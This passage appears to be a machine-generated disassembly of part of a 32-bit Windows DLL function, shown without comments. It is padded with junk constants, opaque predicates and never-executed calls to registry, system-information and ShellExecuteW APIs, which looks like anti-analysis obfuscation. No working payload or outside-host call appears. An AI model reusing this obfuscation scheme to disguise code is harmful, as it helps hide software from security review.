test eax, eax
je 0x10009e59
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
jmp 0x10009e29
mov byte [ebp - 0x104], 0
movzx eax, byte [ebp - 0x104]
test eax, eax
je 0x10009e75
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
jmp 0x10009b36
mov dword [ebp - 0x394], 0xbf58aae0
mov dword [ebp - 0x1178], 0x5706b379
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x1e8], 0
jmp 0x10009eb1
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xfffffff7
jl 0x10009f1e
mov dword [ebp - 0x360], 0
jmp 0x10009ed3
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jge 0x10009eef
mov eax, dword [ebp - 0x360]
mov dword [ebp + eax*4 - 0xe28], 2
jmp 0x10009ec6
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp + eax - 0xe28], ecx
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x10009f1c
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x10009ea4
mov dword [ebp - 0xe48], 0xfffffff9
mov dword [ebp - 0x1180], 0x4cff15cc
mov dword [ebp - 0x508], 0
mov dword [ebp - 0x510], 2
push 3
lea ecx, [ebp - 0x1338]
call fcn.1001737c
mov byte [ebp - 4], 7
mov dword [ebp - 0x3cc], 0xfffffffc
mov dword [ebp - 0x2c], 0
jmp 0x10009f71
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10009f87
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xe30], 0xb3921ded
jmp 0x10009f6a
mov dword [ebp - 0x2c], 0
jmp 0x10009f97
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10009fb3
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x10dc]
call fcn.1001740a
mov dword [eax], 9
jmp 0x10009f90
mov dword [ebp - 0x2c], 0
jmp 0x10009fc3
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10009fdf
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1338]
call fcn.1001740a
mov dword [eax], 8
jmp 0x10009fbc
push 3
lea ecx, [ebp - 0x1094]
call fcn.1001740a
mov dword [ebp - 0x500], eax
push 2
lea ecx, [ebp - 0x10dc]
call fcn.1001740a
mov eax, dword [ebp - 0x500]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x500]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0xe30]
mov dword [ebp - 0xb14], eax
push 3
lea ecx, [ebp - 0x1094]
call fcn.1001740a
mov ecx, dword [ebp - 0xb14]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb14]
mov eax, dword [eax]
mov dword [ebp - 0xe38], eax
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0xe38]
cmp eax, dword [ebp - 0xe40]
jle 0x1000a07b
mov dword [ebp - 0xb1c], 1
jmp 0x1000a082
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x508], eax
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0xb1c]
sub eax, dword [ebp - 0xe48]
cmp eax, dword [ebp - 0x510]
je 0x1000a0c6
mov dword [ebp - 0xb24], 1
jmp 0x1000a0cd
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0xe50], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1338]
call fcn.10017405
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1094]
call fcn.10017405
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10dc]
call fcn.10017405
mov dword [ebp - 0x1188], 0xcdb8faaa
push 3
lea ecx, [ebp - 0x10f4]
call fcn.1001737c
mov dword [ebp - 4], 8
mov dword [ebp - 0x1190], 0x3c67ee39
mov dword [ebp - 0x1038], 0x13d
mov dword [ebp - 0x1034], 0x13d
mov dword [ebp - 0x1030], 0x13d
mov dword [ebp - 0x102c], 0x13d
lea ecx, [ebp - 0x3f5]
call fcn.100088c3
push eax
lea eax, [ebp - 0x1028]
push eax
lea eax, [ebp - 0x1038]
push eax
lea ecx, [ebp - 0x1458]
call fcn.10017419
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x10a0]
call fcn.100173db
mov byte [ebp - 4], 9
mov dword [ebp - 0x1198], 0x9a13
mov dword [ebp - 0x11a0], 0xae974ca7
mov dword [ebp - 0x11a8], 0x4ff5452f
mov dword [ebp - 0xe78], 0xfffffff7
mov dword [ebp - 0x39c], 0xbf58aae0
mov dword [ebp - 0x11b0], 0x5706b379
mov dword [ebp - 0xe70], 0xfffffff9
mov dword [ebp - 0x11b8], 0x4cff15cc
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x528], 2
push 3
lea ecx, [ebp - 0x1348]
call fcn.1001737c
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x3f4], 0xfffffffc
mov dword [ebp - 0x30], 0
jmp 0x1000a21e
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x1000a234
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe58], 0xb3921ded
jmp 0x1000a217
mov dword [ebp - 0x30], 0
jmp 0x1000a244
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1000a260
push dword [ebp - 0x30]
lea ecx, [ebp - 0x10f4]
call fcn.1001740a
mov dword [eax], 9
jmp 0x1000a23d
mov dword [ebp - 0x30], 0
jmp 0x1000a270
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1000a28c
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1348]
call fcn.1001740a
mov dword [eax], 8
jmp 0x1000a269
push 3
lea ecx, [ebp - 0x10a0]
call fcn.1001740a
mov dword [ebp - 0x518], eax
push 2
lea ecx, [ebp - 0x10f4]
call fcn.1001740a
mov eax, dword [ebp - 0x518]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x518]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0xe58]
mov dword [ebp - 0xb2c], eax
push 3
lea ecx, [ebp - 0x10a0]
call fcn.1001740a
mov ecx, dword [ebp - 0xb2c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb2c]
mov eax, dword [eax]
mov dword [ebp - 0xe60], eax
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0xe68], eax
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0xe60]
cmp eax, dword [ebp - 0xe68]
jle 0x1000a328
mov dword [ebp - 0xb34], 1
jmp 0x1000a32f
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x520], eax
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0xb34]
sub eax, dword [ebp - 0xe70]
cmp eax, dword [ebp - 0x528]
je 0x1000a373
mov dword [ebp - 0xb3c], 1
jmp 0x1000a37a
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0xe78], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1348]
call fcn.10017405
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x10a0]
call fcn.10017405
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10f4]
call fcn.10017405
mov dword [ebp - 0x11c0], 0xcdb8faaa
push 3
lea ecx, [ebp - 0x10e8]
call fcn.1001737c
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x11c8], 0x3c67ee39
mov dword [ebp - 0x1060], 0x13d
mov dword [ebp - 0x105c], 0x13d
mov dword [ebp - 0x1058], 0x13d
mov dword [ebp - 0x1054], 0x13d
lea ecx, [ebp - 0x37d]
call fcn.100088c3
push eax
lea eax, [ebp - 0x1050]
push eax
lea eax, [ebp - 0x1060]
push eax
lea ecx, [ebp - 0x1450]
call fcn.10017419
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x10d0]
call fcn.100173db
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x11d0], 0x9a13
mov dword [ebp - 0x11d8], 0xae974ca7
mov dword [ebp - 0x11e0], 0x4ff5452f
mov dword [ebp - 0xf30], 0xfffffff7
mov dword [ebp - 0x3a4], 0xbf58aae0
mov dword [ebp - 0x11e8], 0x5706b379
mov dword [ebp - 0xf50], 0xfffffff9
mov dword [ebp - 0x11f0], 0x4cff15cc
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x540], 2
push 3
lea ecx, [ebp - 0x1358]
call fcn.1001737c
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x3d4], 0xfffffffc
mov dword [ebp - 0x38], 0
jmp 0x1000a4cb
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x1000a4e1
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xe80], 0xb3921ded
jmp 0x1000a4c4
mov dword [ebp - 0x38], 0
jmp 0x1000a4f1
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1000a50d
push dword [ebp - 0x38]
lea ecx, [ebp - 0x10e8]
call fcn.1001740a
mov dword [eax], 9
jmp 0x1000a4ea
mov dword [ebp - 0x38], 0
jmp 0x1000a51d
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1000a539
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1358]
call fcn.1001740a
mov dword [eax], 8
jmp 0x1000a516
push 3
lea ecx, [ebp - 0x10d0]
call fcn.1001740a
mov dword [ebp - 0x530], eax
push 2
lea ecx, [ebp - 0x10e8]
call fcn.1001740a
mov eax, dword [ebp - 0x530]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x530]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0xe80]
mov dword [ebp - 0xb44], eax
push 3
lea ecx, [ebp - 0x10d0]
call fcn.1001740a
mov ecx, dword [ebp - 0xb44]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb44]
mov eax, dword [eax]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0xe90], eax
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0xe88]
cmp eax, dword [ebp - 0xe90]
jle 0x1000a5d5
mov dword [ebp - 0xb4c], 1
jmp 0x1000a5dc
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0xb4c]
sub eax, dword [ebp - 0xf50]
cmp eax, dword [ebp - 0x540]
je 0x1000a620
mov dword [ebp - 0xb54], 1
jmp 0x1000a627
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0xb54]
mov dword [ebp - 0xf30], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1358]
call fcn.10017405
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x10d0]
call fcn.10017405
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10e8]
call fcn.10017405
mov dword [ebp - 0x19c], 9
mov dword [ebp - 0xa08], 0
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0xb5c], 0x3b8c105a
mov dword [ebp - 0x558], 0x6bc22736
mov dword [ebp - 0x3f0], 0x245c
mov dword [ebp - 0x560], 0x1031c36b
push 1
lea ecx, [ebp - 0x1100]
call fcn.1001737c
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x888], 0x53b
mov dword [ebp - 0x268], 0
jmp 0x1000a6dd
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 1
jge 0x1000a6fc
push dword [ebp - 0x268]
lea ecx, [ebp - 0x1100]
call fcn.1001740a
or dword [eax], 0xffffffff
jmp 0x1000a6d0
mov dword [ebp - 0xb5c], 0x67d9
cmp dword [ebp - 0xb5c], 0xc4ae
je 0x1000a71e
mov dword [ebp - 0x59c], 1
jmp 0x1000a725
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x59c], eax
jg 0x1000a73f
mov dword [ebp - 0xeb4], 1
jmp 0x1000a746
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x11f8], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x1200], eax
mov eax, dword [ebp - 0xa08]
cmp dword [ebp - 0x2e8], eax
jge 0x1000a784
mov dword [ebp - 0x57c], 1
jmp 0x1000a78b
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x57c], eax
je 0x1000a7a5
mov dword [ebp - 0xb30], 1
jmp 0x1000a7ac
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0xb30]
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0
jne 0x1000a7d3
cmp dword [ebp - 0x3f0], 0
jne 0x1000a7d3
and dword [ebp - 0x878], 0
jmp 0x1000a7dd
mov dword [ebp - 0x878], 1
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x560]
imul eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0xa08]
sub ecx, eax
je 0x1000a815
cmp dword [ebp - 0x3f0], 0
je 0x1000a815
mov dword [ebp - 0x568], 1
jmp 0x1000a81c
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x19c]
add eax, dword [ebp - 0x568]
mov dword [ebp - 0x880], eax
push 0
lea ecx, [ebp - 0x1100]
call fcn.1001740a
mov ecx, dword [ebp - 0x880]
mov dword [eax], ecx
mov eax, dword [ebp - 0x888]
cmp dword [ebp - 0x880], eax
jle 0x1000a85d
mov dword [ebp - 0x570], 1
jmp 0x1000a864
and dword [ebp - 0x570], 0
cmp dword [ebp - 0x570], 3
je 0x1000a879
mov dword [ebp - 0xad0], 1
jmp 0x1000a880
and dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0xad0], eax
jge 0x1000a89a
mov dword [ebp - 0x578], 1
jmp 0x1000a8a1
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
sub eax, 0x3331e340
je 0x1000a907
cmp dword [ebp - 0x888], 0
je 0x1000a907
cmp dword [ebp - 0x2e8], 0
je 0x1000a907
mov dword [ebp - 0xda4], 0x5ce4ec6f
mov dword [ebp - 0x1208], 0
mov dword [ebp - 0xda4], 0
mov byte [ebp - 0x106], 0
movzx eax, byte [ebp - 0x106]
test eax, eax
je 0x1000a902
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x1000a99d
mov dword [ebp - 0x1210], 0xfffffffe
mov dword [ebp - 0x1218], 0x85aa1ede
mov dword [ebp - 0x1220], 0x81b1d0b8
mov dword [ebp - 0x270], 0xf61160dd
mov dword [ebp - 0xcf4], 4
mov dword [ebp - 0x1228], 1
mov dword [ebp - 0x1230], 0xc0f86f4c
mov dword [ebp - 0x1238], 6
mov dword [ebp - 0x580], 0xfffffffc
mov eax, dword [ebp - 0x580]
dec eax
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x270], 0
jmp 0x1000a987
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 5
jg 0x1000a99d
cmp dword [ebp - 0xcf4], 0
je 0x1000a99b
jmp 0x1000a99d
jmp 0x1000a97a
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x1000a9c9
push 0x2277
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1100]
call fcn.10017405
mov dword [ebp - 0x1b4], 9
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 0x278], 0
mov dword [ebp - 0xa10], 0x3b8c105a
mov dword [ebp - 0xb88], 0x6bc22736
mov dword [ebp - 0x3ac], 0x245c
mov dword [ebp - 0x898], 0x1031c36b
push 1
lea ecx, [ebp - 0x1118]
call fcn.1001737c
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x5b8], 0x53b
mov dword [ebp - 0x328], 0
jmp 0x1000aa55
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 1
jge 0x1000aa74
push dword [ebp - 0x328]
lea ecx, [ebp - 0x1118]
call fcn.1001740a
or dword [eax], 0xffffffff
jmp 0x1000aa48
mov dword [ebp - 0xa10], 0x67d9
cmp dword [ebp - 0xa10], 0xc4ae
je 0x1000aa96
mov dword [ebp - 0x588], 1
jmp 0x1000aa9d
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x588], eax
jg 0x1000aab7
mov dword [ebp - 0xcb0], 1
jmp 0x1000aabe
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1240], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x1248], eax
mov eax, dword [ebp - 0x5a0]
cmp dword [ebp - 0x278], eax
jge 0x1000aafc
mov dword [ebp - 0x890], 1
jmp 0x1000ab03
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x890], eax
je 0x1000ab1d
mov dword [ebp - 0x590], 1
jmp 0x1000ab24
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0xb88], 0
jne 0x1000ab4b
cmp dword [ebp - 0x3ac], 0
jne 0x1000ab4b
and dword [ebp - 0x598], 0
jmp 0x1000ab55
mov dword [ebp - 0x598], 1
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
imul eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0x5a0]
sub ecx, eax
je 0x1000ab8d
cmp dword [ebp - 0x3ac], 0
je 0x1000ab8d
mov dword [ebp - 0xa18], 1
jmp 0x1000ab94
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0x1b4]
add eax, dword [ebp - 0xa18]
mov dword [ebp - 0x5a8], eax
push 0
lea ecx, [ebp - 0x1118]
call fcn.1001740a
mov ecx, dword [ebp - 0x5a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5b8]
cmp dword [ebp - 0x5a8], eax
jle 0x1000abd5
mov dword [ebp - 0x8a0], 1
jmp 0x1000abdc
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 3
je 0x1000abf1
mov dword [ebp - 0x5b0], 1
jmp 0x1000abf8
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x5b0], eax
jge 0x1000ac12
mov dword [ebp - 0xad8], 1
jmp 0x1000ac19
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0xad8]
sub eax, 0x3331e340
je 0x1000ac7f
cmp dword [ebp - 0x5b8], 0
je 0x1000ac7f
cmp dword [ebp - 0x278], 0
je 0x1000ac7f
mov dword [ebp - 0xe04], 0x5ce4ec6f
mov dword [ebp - 0x1250], 0
mov dword [ebp - 0xe04], 0
mov byte [ebp - 0x108], 0
movzx eax, byte [ebp - 0x108]
test eax, eax
je 0x1000ac7a
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x1000ad15
mov dword [ebp - 0x1258], 0xfffffffe
mov dword [ebp - 0x1260], 0x85aa1ede
mov dword [ebp - 0x1268], 0x81b1d0b8
mov dword [ebp - 0x2f0], 0xf61160dd
mov dword [ebp - 0xcb8], 4
mov dword [ebp - 0x1270], 1
mov dword [ebp - 0x1278], 0xc0f86f4c
mov dword [ebp - 0x1280], 6
mov dword [ebp - 0x8a8], 0xfffffffc
mov eax, dword [ebp - 0x8a8]
dec eax
mov dword [ebp - 0x8a8], eax
mov dword [ebp - 0x2f0], 0
jmp 0x1000acff
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 5
jg 0x1000ad15
cmp dword [ebp - 0xcb8], 0
je 0x1000ad13
jmp 0x1000ad15
jmp 0x1000acf2
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x1000ad41
push 0x2277
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1118]
call fcn.10017405
mov dword [ebp - 0x20], 2
push 1
lea ecx, [ebp - 0xeb0]
call fcn.1001737c
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xec4], 0x954a4377
mov dword [ebp - 0x1288], 0x1a7dfae3
mov dword [ebp - 0xe8], 0
jmp 0x1000ad98
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x1000adba
push dword [ebp - 0xe8]
lea ecx, [ebp - 0xeb0]
call fcn.1001740a
mov dword [eax], 0xf3b1ad31
jmp 0x1000ad8b
mov dword [ebp - 0xe8], 0
jmp 0x1000add3
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 3
jge 0x1000adef
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0xea0], 0xd0cd8a6c
jmp 0x1000adc6
cmp dword [ebp - 0x20], 0
je 0x1000ae0e
mov dword [ebp - 0xf40], 2
mov dword [ebp - 0xf40], 0xb4ffb87
jmp 0x1000b11a
push 2
lea ecx, [ebp - 0x410]
call fcn.1001737c
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x3dc], 0xcbadbefc
mov dword [ebp - 0x280], 0
jmp 0x1000ae42
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x1000ae61
push dword [ebp - 0x280]
lea ecx, [ebp - 0x410]
call fcn.1001740a
and dword [eax], 0
jmp 0x1000ae35
mov dword [ebp - 0x20], 1
jmp 0x1000ae71
cmp dword [ebp - 0x20], 0
jl 0x1000b10b
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0xe0c], 0x2535b5b0
mov dword [ebp - 0x18], 0
jmp 0x1000ae9c
cmp dword [ebp - 0x18], 1
jg 0x1000aebe
mov byte [ebp - 0x10a], 0
movzx eax, byte [ebp - 0x10a]
test eax, eax
je 0x1000aebc
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
jmp 0x1000ae95
mov dword [ebp - 0x18], 1
jmp 0x1000aece
cmp dword [ebp - 0x18], 0
jl 0x1000b106
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x410]
call fcn.10017405
push 0
lea ecx, [ebp - 0xeb0]
call fcn.1001740a
cmp dword [eax], 0xffffffff
jne 0x1000b138
mov dword [ebp - 0xa28], 1
jmp 0x1000b13f
and dword [ebp - 0xa28], 0
cmp dword [ebp - 0xa28], 0xbd28a218
jb 0x1000b157
mov dword [ebp - 0x5e8], 1
jmp 0x1000b15e
and dword [ebp - 0x5e8], 0
push 4
pop eax
shl eax, 1
imul eax, dword [ebp + eax - 0xea0], 0x49f7
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xea0]
add ecx, dword [ebp - 0x5e8]
imul ecx, ecx, 0xfea2
cmp eax, ecx
jg 0x1000b197
mov dword [ebp - 0x8c0], 1
jmp 0x1000b19e
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0x20], eax
push 0
lea ecx, [ebp - 0xeb0]
call fcn.1001740a
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xea0]
mov dword [ebp - 0xcc8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp + eax - 0xea0], ecx
mov dword [ebp - 0xec4], 0x94c655e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xeb0]
call fcn.10017405
mov dword [ebp - 0x1c], 2
push 1
lea ecx, [ebp - 0xed0]
call fcn.1001737c
mov dword [ebp - 4], 0x12
mov dword [ebp - 0xce0], 0x954a4377
mov dword [ebp - 0x12a0], 0x1a7dfae3
mov dword [ebp - 0x98], 0
jmp 0x1000b23b